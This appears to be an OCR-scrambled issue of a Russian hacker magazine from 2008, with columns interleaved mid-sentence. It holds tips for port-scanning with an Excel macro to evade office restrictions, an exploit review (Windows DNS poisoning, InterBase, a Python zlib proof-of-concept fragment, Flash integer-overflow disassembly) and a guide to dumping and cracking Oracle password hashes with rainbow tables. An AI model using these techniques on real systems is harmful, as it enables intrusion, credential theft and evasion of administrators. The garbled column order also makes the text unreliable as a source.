je, jle, jz, jnz. Все они проверяют состояние регистра флагов, 1. Поставить точку останова на инструкцию, следующую сразу после
биты которого принимают то или иное значение в зависимости операции условного перехода (<F2> в OllyDbg).
от результата выполненной операции (чаще всего — операции 2. Запустить программу на исполнение (<F9>).
сравнения — «CMP»). Как правило, адрес, на который указы- 3. После остановки программы на брейкпоинте продолжить ее выпол-
вает инструкция условного перехода в случае цикла, меньше нение в пошаговом режиме (<F7> или <F8>).

№7
Заготовка для проведения злого сканирования

Задача: Просканировать порты удаленной машины с


помощью Excel
Решение:
Представь, что ты в строгом офисе, где мало возможностей для хакер-
ских шалостей. Но требуется пошалить, а именно — автоматизировано
просканировать порты удаленной машины, находясь в условиях замкнутой
(изолированной) программной среды, в которой запрещено использование
стороннего софта (в нашем случае, сканеров портов).
Прибегая к действиям по ограничению свободы работников, администра-
тор рискует столкнуться с человеческим фактором: «чем больше пытаются
эшелонировать защиту и снизить риск атак в кругу своих коллег, тем больше
интереса и действий с их стороны последует».
В качестве варианта решения предлагается воспользоваться простым
средством, доступным каждому — Microsoft Excel.
1. Создадим произвольный файл Excel. Теперь сделаем маленькую разметку Результат получен — мы выявили FTP-сервер :)
и приступим к программированию, а именно написанию злого VBA-мак-
роса. Макрос прост — в таблице обозначим поля для диапазона портов и,
собственно, хоста.
2. Переходим в меню «Сервис  Макрос  Макросы» и жмем на кнопку
«Создать», предварительно назвав макрос прямым именем «PortScan».
3. В открывшемся окне редактора вобьем мой вариант макроса (ищи на
DVD). Суть макроса поймет даже ребенок — идет обозначение переменных
(в том числе, сетевых), присвоение им значений ячеек, а затем, собственно,
сканирование каждого порта и... завершение работы нашего чудо-сканера.
4. Наслаждайся жизнью и помни, что этот сканер можно при желании и
наличии прямых рук превратить в полноценный эксплойт. И никакой адми-
нистратор не догадается.
Релиз моего портсканера ты также можешь взять с нашего сайта (xakep.
ru/post/22983/default.asp).

№8
1. Поставить поддержку Python на твой сервер.
2. Целиком и полностью довериться моему парсеру, который обраща-
ется к Google-группам по целевому хосту, выдирает из страниц ответа
ВСЕ возможные поддомены и... предоставляет их тебе! Не жизнь, а
сказка (скрипт, естественно, лежит на нашем DVD).
Задача: Собрать с одного хоста все поддомены 3. Наслаждаться моей добротой :).z
Решение:
Воспользоваться услугами domainsdb и прочими ресурсами — ва-
риант известный. Я же предлагаю принципиально новый, а главное,
действенный прием по разведке доступных поддоменов. В этом нам
помогут Google-группы (http://groups.google.com). Дело в том, что
Google индексирует сайты и их поддомены в качестве групп. Зачастую
туда попадают и отличные по контенту вещи. С помощью разумного
парсинга ты получишь желаемый результат. Итак, для успешной раз-
ведки тебе нужно: Все поддомены, принадлежащие одному хосту — как на ладони

xàêåð 05 /113/ 08
047
>> взлом

Обзор эксплойтов
Крис Касперски

После поток а интересных дыр неожид анно наст упило затишье. За последнее время

не обнару жено ни одной значительной уязвимости, которую можно использовать

для массированных х акерских атак. Поэтому приходится довольствоваться дичью

поменьше, благо, таковая имеется, а заплатки — отсу тствуют. К ак следствие, в Сети

на ходится к уча беззащитных рабочих станций и серверов.

01
Microsoft щим DNS-серверам и кэширующие UK), ошибка никуда делась, и даже >> Targets
Windows полученные от них (или от хакера) самые последние версии Windows Вся линейка NT-подобных систем
ошибка ответы. Образовывался устойчивый подвержены угрозе атаки. Amit Klein по Висту включительно (32‑битные
DNS-клиента очаг заражения (poisoned DNS- подробно описал технику атаки в и 64‑битные редакции).
server) — пользователь, например, документе «Microsoft Windows DNS
>> Brief пытался разрешить доменное имя Stub Resolver Cache Poisoning» вме- >> Exploit
Microsoft продолжает радовать нас www.intel.com, а попадал на сервер сте с исходными текстами proof-of- Исходные тексты exploit’а можно
новыми и старыми дырами, перехо- злоумышленника, начиненный concept exploit’а: http://www.trusteer. найти в статье Amit Klein’а: www.
дящими из одной версии Windows в зловредными программами. Когда com/docs/Microsoft_Windows_ trusteer.com/docs/Microsoft_
другую. Первые атаки на DNS-прото- же ошибки в DNS-серверах были resolver_DNS_cache_poisoning.pdf. Windows_resolver_DNS_cache_
исправлены, хакеры переключились Ознакомившись с этим иссле- poisoning.pdf.
на атаки DNS-клиентов, что оказа- дованием, один из сотрудников
лось намного сложнее, поскольку Microsoft выразил в своем блоге >> Solution
типичная пользовательская машина резкое несогласие: blogs.technet. Установить на рабочей станции
генерирует сравнительно неболь- com/swi/archive/2008/04/09/ms08- свой собственный DNS-сервер
шое количество DNS-запросов в 020‑how-predictable-is-the-dns- (например, бесплатный SMALL
единицу времени. «Скормить» ей transaction-id.aspx. Ну а пока между HTTP), напрямую обращающийся
поддельный DNS-ответ не так-то ними идут разборки, дыра попала на к корневым DNS-серверам по
просто. Для этого необходимо знать Security Focus: www.securityfocus. TCP-протоколу, и заблокировать
IP-адрес оригинального DNS-сер- com/bid/28553/info. 53‑UDP порт на брандмауэре для
вера, номер UDP-порта источника
Microsoft упорно отказывается и 16‑битный идентификатор TXID
признавать наличие дыры! (Transaction ID). В силу высокой
предсказуемости двух последних
кол были зафиксированы в далеком значений атака на NT не представ-
1989 году и сводились к генерации ляла большой проблемы, о чем
подложного DNS-ответа, который, Microsoft узнала лишь в марте 2004
тем не менее, воспринимался жерт- года, исправив ошибку в W2K SP4 и
вой как подлинный «благодаря» XP SP2. Точнее, она думала, что ее
слабости механизма аутентифика- исправила... Согласно исследовани-
ции. Хакеры атаковали DNS-сервера ям Amit Klein (из компании Trusteer),
провайдеров или крупных и мелких Alla Berzroutchko (компания Scanit)
фирм, обращающиеся к вышестоя- и Roy Arends (компания Nominet Proof-of-concept exploit в текстовом редакторе

048 xàêåð 05 /113/ 08


>> взлом
zlib. Библиотека входит в штатный имеющихся у него привилегий. А
комплект поставки языка Python, оно ему надо? Так что атака носит
приобретающего с каждым днем сугубо лабораторный характер.
все большую и большую распро- Лишь в тех немногих случаях,
страненность, и потому угроза когда интерпретатор Python’а
вполне актуальна. «Сидит» ошиб- запускается на более высоком
ка в функции PyZlib_unflush, уровне привилегий, хакер может
реализованной в файле Python- поиметь с этого какую-то выгоду.
2.5.2/Modules/zlibmodule.c. Подробности на www.securityfocus.
Функция выполняет сброс (flush) com/bid/28715.
указанного количества байт,
заданного знаковым аргументом >> Targets
(всегда трактуемым как положи- Дыра подтверждена в Python вер-
тельное целое без проверки на от- сии 2.5.2, остальные версии также
рицательное значение; передача могут быть уязвимы.
которого функции выделения па-
мяти приводит к резервированию >> Exploit
одного байта буферной памяти). А Исходный текст proof-of-concept
Репрозиторий с пофиксенной zlib вот функция копирования данных exploit’а лежит на www.securityfocus.
в буфер после преобразования от- com/data/vulnerabilities/exploits/
рицательного знакового аргумента 28715.py, а ниже приведен его клю-
отсечения подложных DNS-от- нет libc, вместо этого там KERNEL32. в беззнаковое получает очень чевой фрагмент:
ветов. DLL, но сути это не меняет. На сис- большое число, соответствующее
темах с рандомизацией адресного нескольким гигабайтам памяти. Ключевой фрагмент

02
Borland пространства (Висла/Server 2008) Естественно, это приводит к пере- proof-of-concept exploit’а
InterBases передать управление на shell-код, полнению кучи. Дыра объявлена compMsg =
удален‑ скорее всего, не удастся, и жертва удаленной, хотя на самом деле zlib.compress(msg)
ное переполнение получит крах, ведущий к остановке она локальная. Момент требует bad = -24
буфера сервиса «InterBase ibserver». пояснений. Да, действительно, decompObj =
дыра локальна по своей природе zlib.decompressobj()
>> Brief >> Targets: и, чтобы добиться переполнения, decompObj.decompress
11 апреля 2008 года была обнаро- Уязвимость подтверждена в Borland необходимо вызывать функцию (compMsg)
дована информация о дыре в попу- Interbase 2007 SP2 (ibserver.exe flush(). Это можно сделать, только decompObj.flush(bad)
лярном сервере баз данных Borland version 8.0.0.123). Остальные если запускать Python-программы
InterBase, подверженном угрозе версии не проверялись, но, возмож- на целевой машине, для чего там >> Solution
удаленного переполнения буфера с но, они также уязвимы. должен быть установлен интер- Разработчики исправили ошибку, но
захватом управления. Ошибку обна- претатор языка, а хакеру — пре- пока только на SVN-репрозитории
ружил сотрудник Oracle Corporation, >> Exploit доставлен shell с возможностью (bugs.python.org/issue2586). Ждем-с
довольно известный (в узких кругах) Ниже приведен исходный код выполнения Python-программ. выхода очередной стабильной
специалист по безопасности Zhen proof-of-concept exploit’а, пере- Но даже при таком оптимистич- версии.
Hua Liu, живущий в своей норе на дающий управление на shell-код. ном раскладе злоумышленник не

04
побережье Redwood’а. Исследуя Его можно скачать по адресу: сможет завалить операционную Adobe
дизассемблерные внутренности www.securityfocus.com/data/ систему, а только запущенный Flash
файла ibserver.exe, он обратил vulnerabilities/exploits/28730.pl. экземпляр интерпретатора. Или Player
внимание на отсутствие проверки (в идеале) захватить управление удаленное перепол‑
длины переданных пользователем >> Solution системой без превышения уровня нение буфера
данных перед их копированием в Производитель еще никак не
локальный буфер. Это подтверждает отреагировал на сообщение о дыре
код, снабженный комментариями и когда появится «лекарство» в виде
(ищи его на DVD). заплатки — неизвестно. Особо озабо-
Мы имеем дело с классическим ченные проблемой могут пропатчить
стековым переполнением (буфер- код ibserver.exe, воткнув туда
приемник находится в стеке), со несколько машинных команд для вы-
всеми вытекающими. На системах полнения проверки границ буфера.
с исполняемым стеком мы запросто
можем подменить адрес возврата Python

03
из функции, передав управление на удаленное
shell-код. На системах с неиспол- переполне‑
няемым стеком — XP SP2/Server SP1 ние буфера
и выше при наличии аппаратной в библиотеке zlib
поддержки со стороны ЦП — при ак-
тивном DEP’е мы можем реализовать >> Brief
атаку типа return2libc (по умолчанию Хакер Justin Ferguson из IOActive
DEP защищает только системные Security Advisory 9 апреля этого
компоненты). Название, кстати, года обнародовал обнаруженную Платите $1450 и получайте статус CANVAS Professional с полным доступом к
пришло из мира UNIX, в Windows им дыру в популярной библиотеке исходному коду сотен exploit’ов!

xàêåð 05 /113/ 08
049
>> взлом

>> Targets
Adobe Flash Player 8.0.34.0/8.0.35.0/9/9.0.115.0/9.0.28.0/9.0.31.0/9.0.45.0/
9.0.47.0/9.0.48.0 (дистрибутивы RedHat Enterprise Linux Desktop/RedHat
Enterprise Linux Extras/RedHat Enterprise Linux Supplementary server/
S.u.S.E. Linux 10.1 ppc/S.u.S.E. Linux 10.1 x86/S.u.S.E. Linux 10.1 x86-64/
S.u.S.E. Novell Linux Desktop 9/S.u.S.E. openSUSE 10.2/S.u.S.E. openSUSE
10.3 и другие).

>> Exploit
Proof-of-concept exploit доступен только подписчикам «Immunity CANVAS
Early Update Program». Членство обойдется в $1450 на 3 месяца (продление
стоит $730 в квартал). Подробности: www.immunityinc.com/products-canvas.
shtml.

>> Solution
Производитель уже выпустил Flash Player 9.0.124.0, свободный от
ошибки переполнения, а для старых версий доступно бесплатное
обновление, выложенное на www.adobe.com/support/security/bulletins/
apsb08-11.html. Однако, ни новая версия, ни обновление не исправля-
ют всех ошибок. Проверка поля SceneCount на отрицательное значение
появилась (какое огромное достижение, вах!), но дефекты виртуаль-
ной AVM-машины как были, так и остались. По-прежнему возможен
обход верификатора байт-кода и прочие трюки, которым планируется
посвятить отдельную статью. В этом обзоре (в связи с ограничениями
по объему) мы рассмотрим непосредственно саму ошибку знакового
переполнения.
Структура SWF-файла
Full disclose
Для анализа дыры в Flash-player’е, помимо самого плеера (который
>> Brief уже наверняка установлен в системе), нам понадобится специфи-
9 апреля 2008 года Mark Dowd из исследовательского подразделе- кация на SWF/FLV-файлы, последнюю редакцию которой (на мо-
ния ISS X-Force, входящего в состав корпорации IBM, совместно с мент написания этих строк — 9’ю), можно скачать с сервера фирмы
хакером wushi из группы team509 обнаружили и опубликовали дыру Macromedia: download.macromedia.com/pub/flash/licensing/file_
в Adobe Flash Player, работающем под управлением операцион- format_specification_v9.pdf.
ной системы Linux. Для реализации атаки достаточно «скормить» Осторожно! При первом открытии pdf-файла эта сволочь лезет в Сеть, пере-
жертве специальным образом сконструированный swf-файл (скажем, давая наши данные и запрашивая сертификат. Для сохранения инкогнито
заманив на web-страничку или послав файл почтой). Главное, чтобы рекомендуется воспользоваться брандмауэром. Спустя какое-то время
Adobe Flash Player был установлен! Ошибка носит системно-незави- Adobe Acrobat Reader сменит гнев на милость и отобразит содержимое спе-
симый характер, хотя, с учетом различий реализаций под Windows и цификации, предварительно «выплюнув» на экран противный NAG-Screen
Linux, для каждой конкретной платформы требуется свой swf-файл с текстом лицензионного соглашения и стандартными кнопочками «Agree»
с умышленно искаженным полем DefineSceneAndFrameLabelData. (Принять) и «Disagree» (Послать на :)).
SceneCount, содержащим количество «сцен», которые необходимо Структура SWF-файлов состоит из последовательности различных
считать из файла. SceneCount представляет собой двойное знаковое объектов: фигур, звуков, шрифтов, текста, etc. Все они обрабатыва-
слово, но проверка на отрицательное значение не выполняется, и ются вполне корректно (дефектов реализации нет или таковые еще
хакер получает возможность модифицировать любую (ну, или практи- не найдены). Но вот структура DefineSceneAndFrameLabelData,
чески любую) ячейку адресного пространства внутри процесса. Это описывающая сцену (Scene), подвержена целочисленному знаковому
открывает широкие горизонты для атак, особенно с учетом того, что переполнению.
Adobe Flash Player не использует возможности рандомизации адрес- Рассмотрим структуру DefineSceneAndFrameLabelData более под-
ного пространства, предоставляемые Вистой и некоторыми версиями робно. Как видно, она включает в себя массив сцен Scenes. Их количество
Linux’а. Для захвата управления машиной (с привилегиями Flash задано в переменной SceneCount типа unsigned int32 (беззнаковое
Player’а) было бы достаточно перезаписать указатель на функцию двойное слово), которая лежит рядом с массивом.
или подменить адрес возврата, но Mark Dowd пошел намного более
крутым и радикальным путем, атаковав виртуальную flash-машину, Теговая структура DefineSceneAndFrameLabelData
интерпретирующую байт-код и известную под именем ActionScript (tag ID 0x56), подверженная целочисленному знаковому
Virtual Machine (или, сокращенно, AVM). Достоинство такого подхода, переполнению
во-первых, в его новизне, а, во-вторых, в системной независимости. // вспомогательные структуры
Байт-код виртуальной машины не привязан к конкретной платформе, SceneData
и потому однажды сконструированный exploit не нужно переписы- {
вать под всю процессорную линейку, на которой только реализован UI32 FrameOffset
Adobe Flash Player: x86, x86-64, PPC, etc. Подробнее об этом можно String SceneName
прочитать в статье Mark’а Dowd’а — «Application-Specific Attacks: }
Leveraging the ActionScript Virtual Machine», доступной всем же- FrameData
лающим: documents.iss.net/whitepapers/IBM_X-Force_WP_final.pdf. {
Также рекомендуется посетить Security Focus: www.securityfocus. UI32 FrameNumber
com/bid/28695. String FrameLabel

050 xàêåð 05 /113/ 08


>> взлом

; обламывается, если SC < 0


.text:30087A72 push eax
; EAX := 0, если SC < 0
.text:30087A73 mov ecx, esi
.text:30087A75 call sub_3004A766
; делает разные неинтересные дела
.text:30087A7A and [ebp+arg_0], 0
.text:30087A7E cmp dword ptr [esi+4], 0
.text:30087A82 jle short loc_30087AFA
; всегда выполняется

Сначала переменная SceneCount сравнивается с количеством байт,


оставшихся до конца swf-файла. Сравнение осуществляется при
помощи машинной команды JG, интерпретирующей SceneCount как
знаковую переменную. Если SceneCount < 0, эта проверка завер-
шится успешно (для хакеров), поскольку всякое отрицательное число
больше любого положительного количества байт, отличного от нуля;
проверка на нулевое значение SceneCount также выполняется.
Какие, однако, аккуратные программисты! Целых две проверки, и все
не в тему!
Лицензионное соглашение, всплывающее при попытке открытия pdf- А дальше... SceneCount передается функции выделения памяти mem_
файла Calloc(), интерпретирующей ее как беззнаковую переменную. Поскольку
знаковый бит — самый старший бит числа, мы запрашиваем у функции
mem_Calloc(), как минимум, 2 Гб памяти. Последние, естественно, не
} выделяются, но проверка на успешность выделения отсутствует, так как
программисты по своей наивности полагают, что память — ресурс неисчер-
// теговая структура паемый. Они заблуждаются, и в нашем случае mem_Calloc() возвращает
DefineSceneAndFrameLabelData ноль. Остается только разобраться, что делает программа с полученным
{ указателем. А делает она с ним следующее (для краткости дизассемблер-
RecordHeader Header ный листинг переведен в псевдокод):
UI32 SceneCount
SceneData Scenes[SceneCount] Псевдокод функции, позволяющей хакеру перезаписывать
UI32 FrameCount любую ячейку памяти
FrameData Frames[FrameCount] .text:30087AFA mov eax, [esi+4]
} ; SceneCount
.text:30087AFD mov ecx, [esi]
Теперь загрузим flash-player в дизассемблер и посмотрим на код, обраба- ; returned pointer
тывающий переменную SceneCount вместе с массивом Scenes: .text:30087AFF lea eax, [eax+eax*2]
; EAX := EAX*3
Дизассемблерный фрагмент Flash Player’а, в котором .text:30087B02 lea eax, [ecx+eax*4]
происходит переполнение ; EAX := EAX*4 + pointer
.text:30087A42 call SWF_GetEncodedInteger .text:30087B05 mov ecx, [ebp+arg_8]
; получить Scene Count ; ECX := FrameCounter (или FC)
.text:30087A47 mov edi, [ebp+arg_0] .text:30087B08 sub ecx, [eax-0Ch]
.text:30087A4A mov [esi+4], eax ; ECX := FC-*((SC-1)*12+pointer)
; EAX := Scene Count .text:30087B0B mov [eax-4], ecx
.text:30087A4D mov ecx, [ebx+8] ; *(SC*12+pointer-4) = ECX
; ECX — размер swf-файла
.text:30087A50 sub ecx, [ebx+4] Поскольку pointer, возвращенный функцией mem_Calloc(), у нас равен
; ECX — кол-во байт до конца файла нулю, мы получаем следующий псевдокод: *(SсeneCount*12-4) =
.text:30087A53 cmp eax, ecx FrameCount-*((SceneCount-1)*12). Если помнить, что переменные
; ?(Scene Count > ECX) SceneCount и FrameCount представляют собой двойные слова, полностью
.text:30087A55 jg loc_30087BB4 контролируемые хакером, подбирая их различные сочетания, мы можем
; <- не выполняется, если SC < 0 модифицировать различные ячейки памяти. С учетом ограничений, нала-
.text:30087A5B test eax, eax гаемых данной формулой. Каких именно?
; проверка на нуль Путем несложных преобразований получаем: (0x80000000 |
.text:30087A5D jz loc_30087B0E ((address + 4)/12)), то есть можно модифицировать только те адреса,
; <- не выполняется, если SC < 0 которые после добавления к ним четырех байт делятся на 12 без остатка. Не
.text:30087A63 mov ecx, [edi+20h] такое уж и жестокое ограничение! В подвластной нам области памяти без
.text:30087A66 push 3 труда можно отыскать кучу интересных указателей на функции (напри-
.text:30087A68 push 3 мер, адресов возврата). Само собой, речь идет только о модификации тех
.text:30087A6A push 0Ch областей, что доступы на запись — это стек, куча, секция данных, а также
; nCount некоторые служебные структуры операционной системы, расположенные
.text:30087A6C push eax ; nSize в нижней половине адресного пространства. Короче, главное фантазию
.text:30087A6D call mem_Calloc иметь, а за реализацией атаки дело не станет! z

xàêåð 05 /113/ 08
051
>> взлом

Степан
sh2kerrИльин
Login: / STEP@GAMELAND. RU/
Login:

Pasword: Pasword:

Login:

Pasword:

Login:

Pasword:

Запароленная
власть
Щелкаем пароли от Oracle, как орешки

Если ты читал наши предыдущие статьи, ты уже имеешь представление,


как удаленно порутать Oracle. Считай, что доступ к базе мы получили,
но что дальше? Как поднять свои права? И что можно получить, имея доступ
к системным таблицам? Слушай сюда, сейчас расскажу.

е всегда доступ к базе данных мы получаем с правами админи- Как известно, многие админы зачастую имеют одинаковые пароли на
Н стратора (DBA). Бывают ситуации, когда локальных эксплоитов, доступ к различным серверам и приложениям. Тогда что же мешает рас-
повышающих привилегии до роли DBA, нет, а удаленно пароль шифровать пароль администратора СУБД Oracle, тем более, что это бывает
к системному пользователю не спешит подбираться. Или, пред- намного проще, чем расшифровывать пароль на операционную систему?
положим, ты получил права администратора в СУБД, но не знаешь его пароль,
а узнать очень хочется, так как он, вероятно, может подойти на ssh-доступ к Хранение паролей
серверу или к другим СУБД в компании. Что делать в таких случаях? Первое, Сегодня мы изучим алгоритм хранения паролей в СУБД Oracle и научимся
что приходит на ум — получить доступ к хэшам паролей и попытаться их рас- ломать эти пароли. Сначала рассмотрим старый алгоритм. В СУБД Oracle
шифровать. Рассмотрим, в каких ситуациях нам могут помочь хэши паролей. до 11 версии пароли пользователей хранятся в таблице dba_users. На
1. Один из самых распространенных вариантов — получение доступа к базе деле они хранятся в системной таблице SYS.USER$, а таблица DBA_USERS
данных через SQL-инъекцию в WEB-приложение, которое использует эту — лишь представление (VIEW) для вышеуказанной системной таблицы, но
СУБД. Есть вероятность, что пользователь, от имени которого идут запросы эти особенности не критичны. Итак, у нас есть доступ к таблице DBA_USERS.
к СУБД, имеет доступ на чтение таблицы с паролями. Чтобы достать из нее пароли, можно воспользоваться несложным запросом:
2. Возможен случай удаленного получения доступа к консоли СУБД пользо-
вателем, у которого по умолчанию есть доступ на чтение таблицы с хэшами SQL> select username, password from DBA_USERS;
паролей (права SELECT ANY DICTIONARY), но нет роли DBA. Тем самым, рас-
шифровав пароль, мы получим права DBA в базе данных, а также сможем Как мы видим на рисунке, поле Password содержит хэш пароля, состоящий
попытаться использовать подобранный пароль на другие сервисы. из 8 байт. Что же за алгоритм используется для хранения паролей?
3. Доступ к хэшам паролей можно получить, найдя уязвимость класса
PL/SQL Injection в функции или процедуре, которая исполняется от имени Алгоритм шифрования паролей
пользователя с правами SELECT ANY DICTIONARY, позволяющими читать Алгоритм шифрования паролей в СУБД Oracle был до поры до времени не-
системные таблицы. Одна из таких уязвимостей была найдена мной, и экс- известен, пока в публичных источниках не появилась работа «Assessment
плоит к ней можно отыскать по адресу http://milw0rm.com/exploits/4995. of the Oracle Password Hashing Algorithm» авторов Joshua Wright и Carlos

052 xàêåð 05 /113/ 08


Login: Login:

Pasword: Pasword: >> взлом


Login: Login:

Pasword: Pasword:

Выборка паролей из таблицы DBA_USERS Документ «Assessment of the Oracle Password Hashing Algorithm»

Ci. В ней был подробно описан алгоритм шифрования паро- строке СУБД Oracle оказывается, что мы можем использовать
лей в Oracle. Детальная информация предоставлена в статье далеко не все символы. Рассмотрим на примере.
по адресу: http://www.isg.rhul.ac.uk/~ccid/publications/
oracle_passwd.pdf. SQL> create user test01 identified by abc123_
Алгоритм шифрования паролей в СУБД Oracle был задей- $#;
ствован чуть ли не с первых версий и не менялся вплоть до dvd
недавней версии 11G. Сам алгоритм оказался не таким уж и User created. На диске ищи все
сложным. Вот как работает генерация хэша: упомянутые в статье
• происходит конкатенация имени пользователя и пароля SQL> create user test02 identified by 123abc#_ программы, а также
— если у нас есть пользователь с именем SYS и паролем $; увесистый документ по
test1, то мы получаем строку SYStest1; create user test02 identified by 123abc#_$ организации криптоал-
• далее вся строка преобразовывается к верхнему регистру, * горитмов в Oracle.
и мы получаем SYSTEST1; ERROR at line 1:
• если в ОС используется однобайтовая кодировка, то каж- ORA-00988: missing or invalid password(s)
дый символ преобразовывается в двухбайтовый, заполнив
старший байт нулями (0x00);
• получившаяся строка (дополненная нулями до длины бло- SQL> create user test02 identified by _123abc;
ка) шифруется алгоритмом DES в режиме CBC с фиксирован- create user test02 identified by _123abc
ным ключом, значение которого — 0x0123456789ABCDEF; *
• полученная строка шифруется еще раз с помощью DES- ERROR at line 1: warning
CBC, но используя последний блок предыдущего шага как ORA-00911: invalid character Внимание! Инфор-
ключ шифрования. мация представлена
Теперь перечислим недостатки алгоритма, которые помогут SQL> create user test02 identified by исключительно с
нам при взломе. abc123^*; целью ознакомления!
1. В качестве соли (salt) используется предсказуемое значе- create user test02 identified by abc123^* Ни автор, ни редакция
ние, а именно — имя пользователя. Это дает нам возможность * за твои действия ответ-
использовать предварительно сгенерированные таблицы для ERROR at line 1: ственности не несет!
расчета пароля (rainbow tables), тем самым увеличив скорость ORA-00922: missing or invalid option
перебора паролей в разы.
2. Исходный словарь символов, используемых для генерации SQL> create user test02 identified by
пароля, первоначально составляет 256 символов. Так как "^*abc?";
введенный пароль преобразовывается к верхнему регистру,
то алфавит сужается до 256-26=230 символов. На самом деле User created.
символов еще меньше, так как операция UPPER() действует
не только для символов латинского алфавита. В итоге мы по- Часть паролей, которые мы пытались задать, не подходит (вы-
лучаем алфавит из 164 символов, каждый из которых можно дается сообщение «ORA-00911: invalid character»). Из
использовать при генерации пароля (более подробно, откуда всего этого можно сделать простые выводы:
появилась эта цифра можно прочитать на форуме http://www. 1. Доступные в пароле символы — это латинский алфавит (26),
petefinnigan.com/forum/yabb/YaBB.cgi?board=ora_sec;a цифры (10) и спецсимволы _,#,$ (3), всего — 39 символов.
ction=display;num=1131556773). Но это все в теории, а на 2. В качестве первого символа пароля могут использоваться
практике при создании нового пользователя в командной только буквы.

xàêåð 05 /113/ 08
053
Login: Login: Login: Login:

>> взлом Pasword: Pasword: Pasword: Pasword:

Сравнение скоростей перебора паролей разными программами Запуск orabf и woorabf на core 2 duo 2.4 ГГц

3. Чтобы создать пароль с другими спецсимволами, необходимо заключать Тут существует два способа. Первый — сгенерировать таблицы самому,
пароль в двойные кавычки, как показано в последнем примере (но этой второй — скачать в Сети. Плюсы второго способа очевидны: не надо тратить
возможностью на практике пользуются редко). время на генерацию таблиц, что может занять годы на среднестатистиче-
ском компьютере. Хотя минусы тоже есть — не у всех интернет позволяет
Собственно, подбор выкачать 30-60 Гб таблиц. Преимущество генерации своих таблиц на самом
Итак, учитывая, что на практике редко кто использует пароли не из диапа- деле только одно — ты сможешь использовать необходимый тебе набор
зона 39 символов, задача подбора существенно упрощается. Теоретически символов и параметры таблицы.
паролей из 8 символов может быть 26*39^7= 3.6 *10^12 комбинаций.
Если посмотреть сравнение скоростей перебора паролей (http://www. Oracle Rainbow Tables
red-database-security.com/whitepaper/oracle_passwords.html), можно Что касается rainbow таблиц для СУБД Oracle, я так и не нашел их в интер-
увидеть, что самый быстрый переборщик работает со скоростью примерно нете в свободном доступе, чему в общем-то не особо огорчился, так как
миллион паролей в секунду на среднем компьютере (на core 2 duo 2.4 ГГц было желание сгенерировать их самому. Генерировать я решил, используя
удалось добиться максимальной скорости перебора — 1.6 млн паролей программу winrtgen, входящую в состав небезызвестного cain&abel. Выбор
в секунду при помощи утилиты woraauthbf, которая умеет использовать пал на нее, потому как в ней все просто и удобно.
многоядерные процессоры). Для начала разберемся с параметрами. Их немного:
Получается, чтобы перебрать 8‑символьный пароль на стандартном Hash — алгоритм генерации хэш функции. В данном случае — oracle.
рабочем компьютере, нам понадобится около 40 дней. И то — если пере- Min Len — минимальная длина пароля, обычно 0.
борщик знает, что первый символ может состоять только из букв, иначе Max Len — максимальная длина пароля; возьмем для начала 7.
и вовсе понадобится два месяца. Не слишком утешающие цифры, тем Index — идентификатор для группы таблиц (таблицы с разным индексом
более, что столько времени мы будем подбирать пароль только для одного содержат разные данные). Пока оставим как есть.
пользователя — ведь для генерации хэша используется соль (salt). Ну а Chain Len — длина цепочки. Повышение длины отрицательно влияет на
если пароль состоит из 9 символов, то тут счет будет вестись уже на года. время генерации таблицы и время криптоанализа, зато повышает вероят-
Но отчаиваться не стоит, всегда найдутся методы, позволяющие получить ность подбора. Не желательно выставлять более 20000. Оставим пока 2400.
результат быстрее. Chain Count — грубо говоря, размер таблицы на диске. Если оперативной
памяти больше 1 Гб, то выставляется 67018864, так как при расшифровке
Rainbow Tables таблица будет загружаться в оперативную память и желательно, чтобы она
При генерации хэша пароля в СУБД Oracle используется дополнительный поместилась целиком. Обычно больше 1Гб таблицы не делают. Для начала
параметр (salt), который, теоретически, должен предотвращать атаки оставим значение по умолчанию.
посредством создания заранее сгенерированных таблиц для быстрого N of Tables — количество таблиц. Соответственно, чем больше таблиц, тем
перебора паролей (rainbow tables). Но раз соль (salt) нам известна заранее больше вероятность перебора, но их дольше генерировать и необходимо
(исключения составляют случаи, когда известен только хэш, но на практике иметь достаточно места для их хранения. По умолчанию — одна таблица.
это бывает крайне редко), значит, мы можем сгенерировать rainbow tables Charset — набор символов, используемый в пароле. Мы будем использо-
для распространенных имен пользователей. Есть смысл генерировать вать стандартный для Oracle 39 символьный набор, приведенный в начале
таблицы для пользователей SYS и SYSTEM, так как они есть в каждой СУБД статьи.
и имеют по умолчанию права администратора (DBA). Username — имя пользователя. Используется как раз для Oracle паролей. В
С теорией Rainbow tables, думаю, ты знаком по прошлым номерам журнала нашем случае будем генерировать для пользователя SYSTEM.
или читал в инете. На этом я останавливаться не буду, лучше расскажу, С описанием вроде закончили, теперь приступим к генерации. Если
как создавать и использовать таблицы применительно к взлому паролей выставить значения, как указано выше, то вероятность подбора (Success
Oracle. probability) будет равняться 44 процентам, что нас совсем не устраивает.

054 xàêåð 05 /113/ 08


Login: Login: Login: Login:

Pasword: Pasword: Pasword: Pasword: >> взлом

Результат подбора паролей по rainbow таблицам

По-хорошему, приемлемая вероятность должна быть около 99 Чтобы распараллелить работу над созданием таблиц, надо
процентов, хотя это зависит от ситуации. Для повышения ве- просто скопировать часть этих строк на другой компьютер
роятности подбора я предлагаю просто увеличить количество в файл tables.lst и запустить на нем утилиту winrtgen.
таблиц хотя бы до 8 (99,00) а лучше до 12 (99,91). Подсчитаем Единственный важный момент — используемый сharset дол-
время генерации (кнопка Benchmark) и получим что-то около жен быть прописан на каждом компьютере в файле charset.
24 дней на стареньком Intel Celeron 2.4. Время подбора пароля txt путем добавления специальной строки с набором сим- video
по таблице составит около 1 минуты: заметно лучше, чем два волов. Причем, их порядок должен быть одинаковым, иначе На DVD смотри позна-
с половиной дня при взломе методом полного перебора. таблицы окажутся несовместимы. Конфиг-файл charset. вательный видеоурок,
Правда, нам придется потратить 25 дней на генерацию этих txt должен выглядеть примерно так (последняя строка опи- который раскрывает
таблиц, зато потом пароли можно щелкать, как орешки (увы, сывает чарсет oracle): всю правду о мнимой
только 7‑символьные). защищенности паро-
«Есть ли возможность ускорить процесс?», спросишь ты. И я # charset configuration file for winrtgen v1.2 лей в Oracle.
отвечу — конечно же, если генерировать таблицы не в одиноч- by Massimiliano Montoro ([email protected])
ку, а группой людей, как это делалось и делается до сих пор для # compatible with rainbowcrack 1.1 and later by
LM/NTLM/MD5‑хэшей на сайте www.freerainbowtables.com. Zhu Shuanglei <[email protected]>
Так можно значительно ускорить процесс. Быстрее сгене-
рировать таблицы можно и в одиночку, используя несколько byte = []
